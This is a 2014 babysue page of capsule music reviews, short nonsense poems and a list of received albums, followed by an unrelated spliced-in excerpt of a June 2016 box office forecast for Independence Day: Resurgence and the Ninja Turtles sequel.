"Cross Over Now," "Song In B," and "Ballad of Alvin Gordon."
Greenslade - Large Afternoon (CD, Angel
Air, Progressive)
Greenslade was one of the underdogs in the world of British progressive rock music in the 1970s. But it was never because of a lack of output or talent. While the band was rather successful in their own country, they didn't have much success here in the United States...most likely because (due to our knowledge) their albums were never released here. The only way they could be acquired at that time was by way of pricey European vinyl imports. The band eventually disbanded in 1976 and the band members went their separate ways. But in 2000 they reformed and recorded Large Afternoon, their first batch of new recordings in decades. While many reformed bands never conjure up their original ideas and sounds, these folks did. The band was comprised of Dave Greenslade, John Young, Tony Reeves, and Chris Cozens. One of the things that set Greenslade apart from other bands of their time was the fact that the band featured two keyboardists. Large Afternoon effectively captures the band sounding something like they did in the early days except that the keyboards have a much bigger sound and the overall sound is much slicker. The playing is fluid and captivating and the songs are in the same general vein as they were in the early 1970s. Nine well-crafted cuts here including "Cakewalk," "No Room - But A View," "In The Night," and "May Fair."
Half-Handed
Cloud - Flying Scroll Flight Control
(CD, Asthmatic Kitty,
Progressive pop)
The sixth full-length release from Half-Handed Cloud. We've enjoyed previous releases by this band and we're pleased to report that Flying Scroll Flight Control is yet another cool addition to the band's catalog. Half-Handed Cloud is the project created by John Ringhofer, a young fellow with an intriguing knack for coming up with cool winding melodies and thought provoking lyrics. This is probably the most produced and focused album that we've heard from this band thus far. Eighteen inventive cuts here with involved arrangements and an overall lighthearted feel. Ringhofer lives in Oakland, California...but his songs have a great deal in common with many of the progressive/underground bands we've heard over the past few years that are based in Athens, Georgia. Flying Scroll Flight Control is a truly smart and captivating collection of modern underground pop.
HELL PRETTY
Hell is
Pretty.
Hell is real
Real pretty.
Hafdis
Huld - Home (CD, OK!
Good, Pop)
The third full-length release from Iceland's Hafdis Huld. We were impressed by this young lady's last album (Synchronized Swimmers) that we reviewed in February 2011. This is the follow up and it's every bit as captivating, if not more so, than the last album. Recorded in her mountain home near Reykjavik, Home possesses all the elements that make home recording such a personal and real experience. These songs are rather accessible in terms of the overall sound but they were obviously created first and foremost by the desire to write and record. The overall vibe here is somewhat of a cross between folk and Americana. Huld has a great knack for writing cool melodies and lyrics and her voice comes across sounding consistently pure and real. Housed in a slick digipak sleeve complete with cool photo/lyric booklet, Home is a personal statement that can and will be appreciated by a wide range of folks for years to come. Smooth pensive tracks include "Sunrise," "Lucky," "Treasures," "Pop Song," and "I Miss the Rain."
Identical
Homes - A Hydrophelia (Vinyl LP, Parks and Records, Progressive
pop)
We were big fans of the band The Rum Diary so this vinyl album immediately caught our attention. And that is because Identical Homes is the new project created by the Rum Diary's main man Daniel McKenzie, whose past projects also include Shuteye Unison and Built For The Sea. If you loved any of his past bands, you will love Identical Homes. If you never heard any of the previous projects but you love groovy hypnotic modern progressive pop, then you will still love this album. A Hydrophelia is a cool voyage into the world of smart and heady soothing technology. It's difficult coming up with comparisons here because these songs don't really sound too much like any other specific artists we've heard. The key word here is quality. Whatever McKenzie does, he does well. Accordingly, all ten of the tracks on A Hydrophelia have something substantial to offer. These cuts are subtle, intricate, and inventive. And the best part is that they will hold up to tons upon tons of spins. Our favorite tracks include "Old Game," "Miles and Miles," "Formula," and "The Shape Of." Available as a vinyl LP and download. Totally cool stuff. Top pick.
JPNSGRLS - Circulation (CD, Light
Organ, Rock/pop)
Seeing as how our insatiable need for buzzsaw pop/rock never seems to be met these days due to the plethora of tame and soft artists treading around on the planet, we were immediately drawn to the cool energized guitar-driven music created by the band JPNSGRLS (pronounced "Japanese Girls"). This Vancouver, Canada-based band is comprised of Charlie Kerr (vocals), Graham Serl (drums), Oliver Mann (guitar), and Chris McClelland (bass). These guys have a rockin' sound that reminds us very much of the mid- to late-1990s when loud guitars were the main constant in most underground rock bands. Recorded in just seven days, Circulation is one helluva debut album. Critics are already drooling over these guys and the fans are quickly following suit. Fourteen way cool rockin' cuts that are just what the doctor ordered. Should appeal to fans of The Strokes. Our favorite tracks include "Smalls," "Mushrooms," "Brace Yourself," and "Oh No Echoes." Highly recommended. TOP PICK.
MAGNETS
Magnets
Is good for
Eating.
Jon
McKiel - New Traces (Independently released
CD-R EP, Pop)
You won't see many EP reviews in these pages because we usually devote our time and space to full-length releases. So if you see a review of a single or an EP then you know it's something that really stands out. Recorded at his home studio in Crousetown, Nova Scotia, New Traces certainly stands out. These six tracks are highly melodic stylized pop...and we instantly fell in love with Jon McKiel's incredible vocals. This man has a voice that is perfectly tailored for the type of upbeat pop he writes. Six totally groovy cuts here that left us wanting more. Killer cuts include "New Tracy," "I Know, I Know," "Twin Speaks," and "Chop Through." Great stuff from a true rising star in the world of underground pop.
Lunt - Water Belongs To The Night (CD, Tremens
Archives, Experimental/atmospheric/instrumental)
Lunt is the one man project created by Gilles Deles, an experimental musician in France who also runs the label We Are Unique! Records. Water Belongs To The Night is an intriguing atmospheric album reminiscent of artists like Fred Frith and Brian Eno. Deles is a wizard in the world of sound, coming up with plenty of intriguing and inventive pieces to spark the minds of listeners. Some of these tracks are extremely subtle and dreamy while others teeter into more unorthodox territory. We've heard lots of artists venturing into atmospheric territory over the years. Gilles is without a doubt one of the best. His music is strange but never unlistenable. The songs are unique but they never regress into a mindless drone. And the compositions are inventive without sounding pretentious. Beautifully crafted cuts include "No Matter Where We Drown," "Lift Your Hands Into the Light," and "I Was Born in an Ocean of Sound." Totally cool and dreamy stuff. Top pick.
Giulia
Millanta - The Funambulist: Songs From the
High Wire (Independently released CD-R, Pop)
The fourth release from Austin, TX-based singer/songwriter Giulia Millanta. Giulia's music is refreshing because she presents her songs in such a direct and honest manner. These songs have a nice sparse open sound and they are never cluttered with unnecessary instruments and sounds. Produced by Eddy Hobizal and Millanta herself and recorded by Chico Jones at Ohm Studio in Austin, The Funambulist: Songs From the High Wire is a concept album that works. These songs are smart and pensive...and they feature cool winding melodies and reflective lyrics. Millanta's got a great voice. She's one of those singers who manages to come across sounding incredible while simultaneously making it all sound so easy. If all the pieces were to fall into place, Millanta could easily find herself joining the major leagues at some future point. She's got the voice, the songs...and the presence to make it happen. Totally groovy cuts include "Lost In Space," "Could Have Been My Father," and "Ode To A Breakup."
Monuments - Brigadune (Independently released CD-R, Progressive pop/rock)
The second full-length release from Brooklyn's Monuments. The band is comprised of Gabriel Berezin, Grant Zubritsky, and Robbie Sinclair. Berezin once worked at the World Trade Center in New York City. But on that fateful day on September 11, he was late to work...and that is what saved his life. Since then the idea of finding meaning in chaos has been a central theme in his music. Regarding Brigadune, Gabriel says "A lot of these songs are about a paranoia of things falling apart..." So this is a concept album, but not in the traditional sense. These tracks remind us of music from the 1990s when there were so many great inventive underground bands in the United States. Hard to come up with comparisons here because these songs seem to have been created with unique intent. There's plenty of cool creativity threaded into these cuts, with each song sounding decidedly different from the rest...and yet they all tie together nicely as a whole. Ten groovy cuts including "Hypnagogia," "You Decide," "Bonfire," and "Brigadune."
Need
For Speed - Original Motion Picture Score:
Music by Nathan Furst (CD, Varese
Sarabande, Motion picture score)
Nathan Furst received a great deal of well-deserved recognition for the music he composed for last year's Act of Valor. Now comes this album featuring the music he created for the film Need For Speed. Furst did a great deal of thinking about the exact type of music that would be a perfect fit for this film. Consultations with director Scott Waugh resulted in the decision to create a score that (according to the press release) yielded "dream-like guitars and synth elements with memorable and compelling themes surrounded by the strength and elegance of a symphony orchestra..." This lengthy album (over 70 minutes) presents tracks with a huge sound and an ultimately exciting experience. The film itself is based on the video game, but this time it's placed in a real world setting. This one's bound to be a hit with video gamers and racing fanatics. Twenty inventive cuts here including "Marshall Motors," "Motor City Mayhem," and "In The Lead."
New
God - Firework (CD, Yellow
K, Pop)
The second full-length release from Baltimore, Maryland's New God. This band is led by brothers Kenny Tompkins and Curt Tompkins. We did not hear these guys' debut album when it was released in 2102 but after spinning Firework we sure wish we had. For this album the Tompkins brothers recorded quite a few tracks before eventually paring it down to just eight cuts. Kenny and Curt's recordings have been compared to The Beach Boys and that is no doubt because of the thick layered harmony vocals and gliding melodies. Interestingly, much of the recording for Firework took place on an abandoned racquetball court after the brothers' recording studio was sprayed by a skunk. Even though we can understand the Beach Boys comparisons, the songs on this album are actually coming from a decidedly different universe. These are pop songs but they aren't the kind of easy canned pop that most folks are accustomed to hearing. These guys are obviously following their own muse here, making the kind of music they want to make rather than trying to come up with something that will sell. Cool compositions include "Firework," "Summer Girl," "Ocean Hum," and "Dumb." Top pick.
Odeya
Nini - Vougheauxyice (CD, pfMENTUM, Experimental voice)
This is about as strange as things get in the world of music. So if you just want happy singalong music you will most likely be lost when listening to experimental vocalist Odeya Nini. This is some far out stuff to be certain. If you've ever heard Emily Hay (another experimental vocalist with a truly unusual sound) you might have some idea of what to expect here. If Emily Hay sounds strange...then Odeya Nini sounds really, really, REALLY strange. Is this modern classical music? Or is this pure experimental stuff? Or is this even music? It's up to the listener to decide. Ms. Nini uses her voice to create sounds that for many will be difficult and totally bizarre. Some of this sounds very much like a bird from another planet chirping and warbling. Other parts...sound almost machine-like...or like voices from beyond the grave. Other parts may remind listeners of very early recordings by Yoko Ono when she was creating sounds with her voice that no one had ever heard before. While many may question the validity or usefulness of recordings like this...we certainly do not. Nini's sounds are just as valid as anyone making so-called "real" music. Trippy, bizarre, and slightly insane, Vougheauxyice is a wild trip into the mind of a woman with a completely different sound and spirit. While not for everyone, we highly recommend this for folks wanting something truly and totally...different. Top pick.
Pray
For Brain - None of the Above (CD, 7d Media, Progressive)
Pray For Brain is the trio comprised of Christine Nelson on bass, Jefferson Voorhees on drums and percussion, and Mustafa Stefan Dill on guitars and oud. The band evolved from the Sama Duo at which time it was just Voorhees and Dill. To quote directly from the press release regarding the band's sound: "...think 70s era Miles Davis, Chet Atkins and late Coltrone playing with the White Stripes and Isaac Hayes on a Calcutta rooftop with a bird's eye view to Morocco. Johnny Cash and Bengali icon Rabrindranath Tagor may sit in, too." Talk about a complex grouping of comparisons (!). This, the debut full-length from Pray For Brain, is being released on Trey Gunn's always intriguing 7d Media label...which seems to be a perfect home for the band. The playing on this album is complex, focused, and precise. Nelson's bass playing is mesmerizing, Voorhees plays with hypnotic ease, and Dill's guitars will knock you out. This album should appeal to just about anyone who ever loved 1970s progressive rock, modern jazz, and/or jazz/rock fusion. Eleven tracks that clock in at over 66 minutes. Our favorite cuts include "Drop the Needle," "Hawk and Mouse," and "Circus." Cool heady stuff with balls.
Yves
Ramette - At The Precipice: Works For Orchestra
(Double CD, Navona, Classical)
The third Navona records release featuring the music of the late Yves Ramette. At The Precipice presents four world premier recordings performed by the St. Petersburg Symphony Orchestra in the summer of 2013. The music is divided into four symphonies, two on each disc. These recordings offer further proof of why Ramette will continue to be appreciated and admired more and more as time goes by. Yves' compositions can be appreciated by those who love the classics from centuries ago or folks who want something a bit more current and modern. These recordings are slick and have a huge sound and the St. Petersburg Symphony Orchestra is in fine form here. These four symphonies run the gamut in terms of moods and styles. At times the music is subtle and hypnotic, at other times somewhat nervous, and at other times rather expansive and epic. Eighty-seven minutes' worth of cool classical music from one of the great masters. Yves will continue to be an influence on classical music for decades to come. At The Precipice is yet another stunning addition to his musical legacy.
Recess
Monkey - Wired (Independently released
CD, Pop)
Just because it's music for kids it doesn't have to be stupid. That's the feeling we get when listening to Recess Monkey's eleventh studio album. Recorded at Tiny Telephone and produced by John Vanderslice, Wired is a remarkably smart album recorded with children in mind. The first thing that caught our attention here is that there is almost no crap-hop present here (it is thankfully mainly confined to the track "Car Wash"). The second thing that made an impression on us is that these songs could be appreciated by adults as well as children. Recess Monkey is the trio comprised of Drew Holloway (vocals, guitar), Jack Forman (bass, keyboards), and Korum Bischoff (drums). Many of these songs sound very much like adult songs in terms of melodies and arrangements. The main thing that will make these songs more appealing to kids are the lyrics. These guys sing about subjects that children should be able to relate to. The overall vibe is mostly upbeat and positive. Refreshingly appealing stuff for youngsters.
Red
Oak - Redesign (Independently released
import CD, Rock)
Rarely do we receive independently released underground albums from Israel. As such, Red Oak immediately stood out in the stacks. The band began in 2003 in Tel-Aviv where they started making music in a bomb shelter (!). The band is comprised of Xachi Benozio on drums, Shemer Steinlauf on bass, Ron Or-El on guitars, Tako Free on vocals, and Daniel Vulikh on vocals. The band plays loud rock that combines elements of heavy metal with pop. The dual vocalists give the band a unique sound and vision. Redesign includes a cool foldout lyric sheet that makes it easy to read along as the music plays. Interesting cuts include "Hole," "The End," "Turncoat," and "Prevail."
Ed
Roman - Letters From High Latitudes
(Independently released CD, Pop)
Ed Roman released his debut album (Oracles and Ice Cream) in 2011. With the release of Letters From High Latitudes this cool Canadian fellow has once again hit the target. Playing 90 percent of the instruments himself, Roman plays with surprising fluidity...never sounding like a one man band in the least. These songs have a nice organic sound that is never hampered by unnecessary technology and/or overdubs. Ed's got a great slightly raspy voice that is a perfect fit for the type of songs he writes...and he's one helluva guitarist. Joining Roman on this album are well-known Canadian session men Dave Patel (drums) and Mike Freedman (electric guitars). This album has a great deal of commercial appeal, with many songs sounding like potential hits. Well-written cuts include "I Told You So," "Rosetta Stone," "Better Day Blues," and "Tinker."
Lionel
Sainsbury - Sunlight & Storms (CD,
Navona, Piano/instrumental)
Born in 1958, Great Britain's Lionel Sainsbury started playing the piano and composing when he was very young. When he was just twenty-one years old he was awarded the Mendelssohn Scholarship (a prestigious United Kingdom award for composers). Since that time he has created a substantial body of work and has developed a devoted legion of followers. Sainsbury has written concertos for violin and cello, symphonic poems, works for strings, solo guitar, and clarinet. Sunlight & Storms is specifically devoted to his piano compositions which, we would guess, are probably the central focus of his creative spirit. This album shows just how diverse a composer Lionel is. The disc is divided into seven sections: "Five Tangos Op.34," "Canto Ostinato Op.30," "Sea Storm Op.24," "Two Cuban Dances Op.19," "Incantation Op.26," "Ten Moments Musicaux Op.31," and "Meditation Op.28." These recordings feature Lionel alone with his piano. There are no overdubs and there are no additional musicians involved. As such, the listener is treated to the exact sound of this man playing live without any additional ingredients. A successful pianist is one who can convey feelings and emotions by touching the keys. Lionel Sainsbury is exceedingly successful because his music touches so many parts of the mind, heart, and soul. An excellent album for anyone who ever loved hearing solo piano. Top pick.
Johanna
Samuels - Double Bind (Independently
released CD, Pop).
SCOOT
Scoot. Scoot.
Scoot. Scoot.
Scoot. Scoot.
Scoot.
Sex
With Strangers - You Know Something We Don't?
(Independently released CD, Pop)
Gritty modern dance pop with ultra catchy melodies. This is the fifth full-length release from this Vancouver, British Columbia-based band that is comprised of Hatch Benedict (vocals, keyboards), Mike Gentile (bass), Alexis Young (vocals, keyboards), Cory Price (guitar), and Dan Walker (drums). These folks have a sound that is something like a cross between Abba and New Order...but their overall vibe is much punchier and harder than either. We haven't heard earlier Sex With Strangers albums but apparently on this one the guitar is much more dominant. You Know Something We Don't? has a fresh and immediate sound and provides absolutely perfect dancing music. We've heard a lot of Canadian bands over the past few years, but we haven't heard any that have a sound like the folks in Sex With Strangers. Ten gripping pop/rock cuts with a heavy emphasis on the beat. Standout tracks include "Hostages," "Falling Over," "Space Wolf," and "Wandering Eyes."
The
Shilohs - The Shilohs (CD, Light Organ, Pop)
This one is right up our alley. Formed in Vancouver, BC in 2008, The Shilohs are Johnny Payne (vocals, guitar), Mike Komaszczuk (vocals, guitar), Daniel Colussi (vocals, bass), and Ben Frey (drums). These guys play a decidedly non-commercial sounding brand of underground pop that reminds us in some ways of artists like The Hang Ups, The Feelies, Big Star, The Velvet Underground, and Mitch Easter (all of which are top notch in our tiny little view of the musical universe). After spinning this album a few times we can say without reservation that this will end up being one of our top favorite albums for 2014. The songs are smart yet subtle...the arrangements a perfect fit for each tune...the vocals are excellent and never forced...and the overall vibe is incredibly appealing and real. There are so many phonies out there in the world. These four guys are making music that comes from their hearts and souls. As such, this one is a MUST HAVE for fans of underground pop. We just can't get enough of this album...everything is just as it should be here. So completely and totally groovy. Wow. Wow, wow, wow... TOP PICK.
Signal
Problems - Signal Problems (CD, pfMENTUM, Modern jazz)
Signal Problems is the jazz quartet comprised of Danny Gouker (trumpet, compositions), Eric Trudel (tenor saxophone), Adam Hopkins (bass), and Nathan Ellman-Bell (drums). These folks play modern jazz with a decidedly spontaneous sound and feel. Recorded at The Bunker Studio in Brooklyn, New York in January of 2013, these tracks capture the basic essence of a live performance. Instead of layering and overdubbing everything to death, these folks decided instead to keep things simple, thus capturing the basic sound of the musicians playing with one another. Ten intriguing cuts here that showcase how well these folks interact with one another. Our favorites include "Icebreaker," "Not Yet, Gorilla," "Chloroform," and "When You Fell From Heaven."
The
Social Fantastic - The Social Fantastic
(Independently released CD-R EP, Pop/rock)
The Social Fantastic is the duo of Jon Goff on drums and Jeremy Hoog on vocals and guitar. Unlike other duos, Goff and Hoog aren't playing multiple instruments and using technology to layer their sound. These two fellows are taking the exact opposite approach of most twenty-first century bands by presenting themselves sounding exactly as they sound. This self-titled EP features five songs that are surprisingly full sounding, particularly when you consider the fact that there isn't even a bass guitar in the mix. Mighty impressive stuff here. And because these tunes don't have all the extra schmaltz going on, you can really concentrate on the main ingredients. This EP proves that when you've got songs with substance that's really all you need. Groovy cuts include "Be There" and "Hard To Love."
Solid
Gold Balls - Solid Gold Balls (Independently
released CD-R, Pop/rock)
This Portland, Oregon-based band sure has a name that fits the sound. These guys have a pure rockin' guitar-driven sound that is instantly familiar and inviting. The little publicity sticker on the disc compared the music to The Replacements, Nerf Herder, Pavement, and Ween. We can certainly hear traces of all of these bands in the music of Solid Gold Balls. Some of the vocals remind us of the greatly overlooked band St. Johnny. These guys' music might be described as power pop or power rock. The songs are simple, direct, and powerful. The focus is on driving rhythms, big fuzzy guitars, and a vocalist who sings with cool abandon. With so much modern music being recorded with the intent of achieving perfection, we can sure appreciate the rough edges in these tracks. Instead of sounding like digital perfection, the songs on this album sound very much like a real band playing real songs. We particularly love the loud driving powerful grooves here. These guys play loud and they're tight. Fourteen groovy rockers including "Dream Is Real" (see the video on YouTube...it's cool...), "Bring On The Noise," "Different," "Whatever," and "Bowling Song."
Sweet - Level Headed Tour Rehearsals 1977 (CD, Angel
Air, Pop/rock)
The folks at Great Britain's Angel Air label have been releasing quite a few Sweet albums of late. This is certainly one of the more interesting ones. It's 1978 and the original four piece (Brian Connolly, Andy Scott, Mick Tucker, and Steve Priest) have just released their Level Headed album. Prior to going on tour to support the album they do some rehearsing at Shepperton Studios where some of those rehearsals are recorded. The tapes remained in Andy Scott's possession and are now being shared with the rest of the world. The band is sounding mighty ferocious and tight on these sixteen tracks and the sound quality is excellent..
TAKE
Take and take and
Take and take and
Take and take
And take.
Thor - Only The Strong (CD + DVD, Cleopatra,
Pop)
As time goes by there are more and more and more unusual and surprising reunions and resurgents in the world of music. Ready or not, Thor is back. Some music fans will remember this band which began in the 1970s and the main thing they will most likely remember is that the group featured the former Mr. USA bodybuilder Jon Miki Thor as the lead singer. The band's debut album (Keep The Dogs Away) was well received way back in 1977. What some may not realize is that the group continued recording and playing into the 1980s. While not as successful in the United States, Only The Strong was a big hit in the United Kingdom and produced two hit singles ("Let The Blood Run Red" and "Thunder On The Tundra"). The big news here is that the band just played a live show in Hollywood, California and they now seem poised to let the flame burn once again. As such, the folks at Cleopatra have remastered and reissued the original Only The Strong album, complete with bonus rare and unreleased tracks and a full-length DVD featuring the band playing live in the 1980s. Thor fans will be delighted. It'll be interesting to see what these guys do next. Will they just play the old hits? Or will this be the beginning of a string of brand new albums...?
Tijuana
Bullfight - Southern California (Independently
released CD, Pop/rock)
The sophomore full-length release from Southern California's Tijuana Bullfight is...appropriately titled Southern California. Someone must've been listening to our wishes this month because it seems like we're getting more rock music than normal as opposed to Americana and folk (both of which are fine, of course, but there's just so much of it in the world lately). If there are three things that we love they would be (a) loud guitars, (b) long hair, and (c) driving rhythms. With the band Tijuana Bullfight you get all three. The press release that accompanied this album mentioned the bands Nirvana, Rage, Foo Fighters, Soundgarden, and Queens of the Stone Age. If you love any of these bands there's a good chance you'll totally dig Southern California because it is one helluva rockin' album. Sure wish there were more hard hitting bands on the planet in 2014. But because there aren't, it sure makes us appreciate loud ballsy bands like Tijuana Bullfight. Killer tracks include "Desire," "Other Than Me," "Round," and "Fat Baby." Get ready to turn up your stereo and totally rock out with this one. We love this stuff. TOP PICK.
Tohpati featuring Jimmy Haslip & Chad Wackerman
- Tribal Dance (CD, Moonjune,
Progressive rock)
The third full-length release from Indonesian guitar god Tohpati. For those who love guitars, Tribal Dance is a truly tasty treat. Tohpati's speed and precision are immediately gripping and spell binding and he can seemingly make his guitar sound like just about anything of his choosing. Backing Tohpati is the amazing rhythm team of Jimmy Haslip on bass guitar and Chad Wackerman on drums. Together these three musicians manage to make one huge sound that is much, much larger than the sum of the parts. This is an instrumental album with the exception of a few ambient vocal samples that occasionally find their way into the mix. All eight tracks are Tohpati originals and they are all complex and ultimately inspired. This album will appeal to fans of jazz, progressive rock, and even heavy metal. Cool cuts include "Rahwana," "Red Mask," and "Midnight Rain."
Verskotzi - Live performance, May 2, 2014, The Basement, Nashville,
TN
We were already knocked out by the debut full-length release (Lemon Heart) from the Minneapolis-based band Verskotzi (see our May 2014 review). So we were pleased as punch when we heard the band was playing at The Basement in Nashville, Tennessee on a Friday night. There's one word to sum up our feelings about this show and that word is...WOW. We were initially wondering how the band could pull off the ultra polished sound of their album in a concert setting. But upon hearing the first song ("Honey") any concerns we had were immediately dashed. The main difference between the recorded sound of Verskotzi and the live band is that the live sound is much heavier. So many new bands start out playing either ultra weird music or songs that aren't fully developed. Then slowly, over time, their sound develops into something more commercial that could appeal to a larger audience. The guys in Verskotzi are starting out playing music that could easily be appreciated by millions of music fans and they're so good at what they do they could already easily be playing to large crowds. Regular readers are already aware of how unimpressed we are with the world of commercial music in the twenty-first century. Folks tend to simply gobble up the crap that is fed to them by people with the money, power, and influence to sell a product. What's interesting about this band is that the songs effectively bridge the gap between artistic integrity and a commercial pop sound. Or, to put it more simply, even though many of the band's songs could be huge hits...they're still completely credible and groovy in every way possible. But back to the show...The Verskotzi live band is comprised of Joey Verskotzi (lead vocals, guitar), Izaac Burkhart (lead guitar, vocals), Ben Jackson (drums, percussion), and Taylor Bray (bass guitar). Rarely have we ever seen four musicians who are as completely in synch with one another as these guys. Despite the fact that they were playing for a relatively small audience, these fellows absolutely blew the roof off The Basement (which of course would normally be impossible because basements don't have roofs). We couldn't help but think that on this particular evening folks probably weren't prepared for a top caliber band playing at a small club at 8:00 PM. Otherwise the room would have been jam packed. Jackson is one helluva drummer and plays from the Ringo Starr school of drumming...keeping a solid steady beat without ever muddying the songs with unnecessary percussion. Burkhart is one amazing guitarist, playing with unbridled ease and confidence...and occasionally adding psychedelic threads to the music. Bray has to be one of the most dynamic bass players we've ever witnessed, constantly zipping up and down the neck of his guitar while providing thick and funky hypnotic bass lines. Verskotzi is not only one kickass guitarist but he's got one of the best voices we've heard in years. All four of these guys have so much stage presence that it is absolutely...amazing. This is definitely one of those cases where all four musicians played an integral role to the overall sound. The band played several selections from the new album which, of course, had us floating up into heaven and back. By the time the show was over...we realized how fortunate we were to be able to experience this band playing live before everyone else finds out about them. If these guys continue on the path they're on, there's no telling how far they can go. Verskotzi is one of the our top favorite bands this year. Get the Lemon Heart album...it's a knockout. And if this band plays anywhere near you, go see them. These guys are...THE BEST. Highly recommended. TOP PICK.
Rockin'
Jason D. Williams - Hillbillies and Holy
Rollers (CD, Rockabilly, Rockabilly/pop/rock)
It would be almost impossible to describe and/or discuss the music of Rockin' Jason D. Williams without mentioning Jerry Lee Lewis. The two are forever entertwined due to their similar sound and style. Williams even performed all of the 'hand shots' in the film Great Balls of Fire! (the Lewis biography starring Dennis Quaid). Jason' career started when he was only 16 years old playing with LaBeef. Afterward he was signed to both the Sun and RCA labels in the 1980s and 1990s. After taking a bit of a break he returned to the world of recording in 2010 and has been rockin' and recordin' ever since. Hillbillies and Holy Rollers features classic rockabilly songs played with conviction and spirit. The album was recorded at the Sun Studio in Memphis, Tennessee and it obviously captures the essence of Williams and his band playing live. The title is appropriate because these tunes seem to combine the sounds of rockabilly with the upbeat vibes of gospel music. Jason D. Williams is the real deal and he proves it with each and every one of these eleven tracks. Fun upbeat cuts include "Hillbillies and Holy Rollers," "Fingernails," and "Old Time Religion."
Michael Bradford - The long night
Brushfire Stankgrass - Micro climntes
Che Prasad - Christmastime in the apocalypse
Che Prasad - Shiva me timbers
Cinderella - Rodgers and Christopher's Cinderella: A new musical
Conrad Clifton - Picture in picture
Susan Clynes - Life is...
Drockulette - Smock
Duo526 - Ballade
E
8-Bit Operators - Enjoy the science
John Michael Hersey - Adirondack
Madison King - Onward and upward
Elly Kouri - I love you too much
Adrian Krygowski - Roam
Daniela Kuri - Sway
L
Joe LoCascio and Woody Witt - Absinthe: The music of Billy Strayhorn
Lalama Brothers - Erie Ave.
Jacob Latham - Midnight train
John A. Lewis Trio - One trip out
Patricia Morehead - Brass rail blues
Edward Rogers - Kaye
Royal Oui - Royal Oui
S
Chris Sanchez - Guilty
Sarah - Featuring Bruce Barth
Save The Radio - Calculating the sum of your life
Scan Hopper - Mariana bridges
Scattered Bodies - Talking songs
Secret Agent 23 Skidoo - The perfect quirk
David Serby and the Latest Scam - David Serby and the Latest Scam
Shameless - Music from the television series
Sherlock - Original television soundtrack
Ships Have Sailed - Someday
Herb Silverstein - Monday morning: 10 original tunes
Sine Qua Non - Simple pleasures
Soatoa - Latent
Sours - Sours
Spell Kasters - Kastin' the spell
Spycker - Voted away
Neville Staple - Ska crazy!
Ann ie Stela - Whiplash blues
Richard Stoltzman - Resolve
Beth Thornley - Septagon
Dinah Thorpe - Lullabies & walke up calls
Tippy - Getting Tippy
Alex Tjoland Band - Silent revelry
Toothe - Talons EP
Tower of Song - In cityi and in forest
U
Ugly Quartet - Mars needs Maurice
Unrepeatable Quartet - Edmonton 2012
The Use - What's the use?
V
Various artists - Made in Iceland VII
Vaudeville - Vendetta
Vices - Vices
Videoing - Treasure house EP
Vinny Vegas - The big white whale | http://www.babysue.com/2014-June-LMNOP-Reviews.html | CC-MAIN-2018-47 | refinedweb | 9,682 | 71.95 |
June 2016 Box Office Forecast
By Michael Lynderey
June 2, 2016
BoxOfficeProphets.com
2. Independence Day: Resurgence (June 24th)
The original Independence Day was sort of the first big entry in the modern-day alien invasion wave, released in a more innocent time when foreigners from outer space were not haranguing Earth on a weekly basis. Indeed, our little planet and its landmarks have been violated so often since 1996 that alien invasions are now relegated to merely the brief opening scenes of many films, as the background for another story (like The Host or The 5th Wave).
The planetary violation is helmed again by Roland Emmerich, and the film seems to follow the format of the original pretty closely: major cities are destroyed for the second time by the same set of malfeasant extraterrestrials (I hate to be cynical, but will humanity rebuild them again?), and the villains' new pet trick is launching buildings into the sky before depositing them back to earth in an unruly manner (resembling a few scenes in Transformers 4). Jeff Goldblum and Bill Pullman are back (though Sela Ward is now the president), and many of the smaller characters also return (even Judd Hirsch!), though there is one glaring absence: Will Smith, who is not reprising the role that took him to his first major summer blockbuster, and whose character thus presumably died a horrible death in the intervening 20 years. The children of the original are now old enough to arm themselves and participate in the combat: Jesse Usher takes over as Smith's stepson, and Maika Monroe is now the ex-president's daughter (Liam Hemsworth, most recently of The Hunger Games, is a new male lead).
Independence Day 2 carries a somewhat opaque subtitle ("Revenant" was taken), but after the box office wonders performed by last year's dinosaurs and Star Wars, I would not cast doubt on the drawing power of nostalgia. The logical hope here, I think, is a somewhat more restrained and less offensive version of what Jurassic World pulled off last summer, and many of the same fundamentals are all here: as was true of Jurassic Park, the original Independence Day is a classic of 1990s blockbuster filmmaking (winning both its summer and year with $306 million), it is a film that’s been thoroughly watched and re-watched by what must be several generations of audience in its 20 years of existence, and it was the type of summer-defining mega-hit not often found these days – one based on an original idea (relatively speaking) and inflated into pop culture by the force of spectacular marketing, instead of a pre-existing property (or, in Jurassic's case, based on a novel for adults). It’s hard to say how far Resurgence will go, but as with Finding Dory, history and memory will give Independence Day a respectable opening weekend.
Opening weekend: $100 million / Total gross: $255 million
3. Teenage Mutant Ninja Turtles: Out of the Shadows (June 3rd)
Out of the Shadows will be the sixth entry in the Ninja Turtles film series, a franchise that once walked with giants, or above them: the very first Turtle film, coming at the height of their popularity, grossed a shocking $135 million in the spring of 1990 (roughly $275 million in today's dollars), before its sequels took in less and less, in mostly chronological order. As the turtles' hold on the children of America decreased, it was logical to assume that the franchise had retreated into the rearview mirror. The 2014 Michael Bay-produced reboot shockingly changed that equation, and followed Guardians of the Galaxy in August 2014 into becoming one of the summer's most unexpected box office successes, opening with $65 million and finishing with $191 million. Like it or not, kids still love those turtles.
That new film, by the way, was particularly interesting for one little-known element: in a reprise of the twist ending to Iron Man 3, the Turtle reboot's plotline was originally set to take the Turtles' iconic villain, Japanese-born Oroku Saki (the Shredder), and westernize him into Eric Sacks (William Fichtner), who had adapted the Shredder name - but at some point between production and release, quiet changes added a few scenes and unmerged Saki and Sacks into two separate characters, though the tell-tale surnames remained. And so Shredder's back this time, along with his never-ending collection of ninjas, The Foot, originally intended as a parody of Marvel Comics' The Hand, though by now there's scarcely a difference.
Comic book adaptations these days are all about pleasing the fans, and there's no shortage of appeal to that base here: after roughly three decades of waiting, they'll get to see mutated rhino/warhog-spinoffs Bebop and Rocksteady on the live-action big screen (though the original Turtles II presented similar characters but changed their names and species); and the film adds two plot lines that even I think are pretty cool: the Technodrome, a sphere-shaped traveling fortress that now looks bigger than ever and looms over New York City (shades of, yes, Independence Day), and Krang, an offensive-sounding and very conversational pink brain with tentacles for hands that co-habits inside the chest of a giant brute. Critically, no Turtles film has ever passed into the side of tomato freshness, but the 2014 reboot had almost a 3.0 box office multiplier, so someone must have liked it. Its sequel should dominate the box office well enough, possibly even holding #1 all the way up until Dory hits us up on the 17th.
Trivia: this is one of the only blockbuster-esque films this summer ‘’not’’ to open overseas well over a week before its North American date. The turtles are patriotic!
Opening weekend: $73 million / Total gross: $200 million
4. Central Intelligence (June 17th)
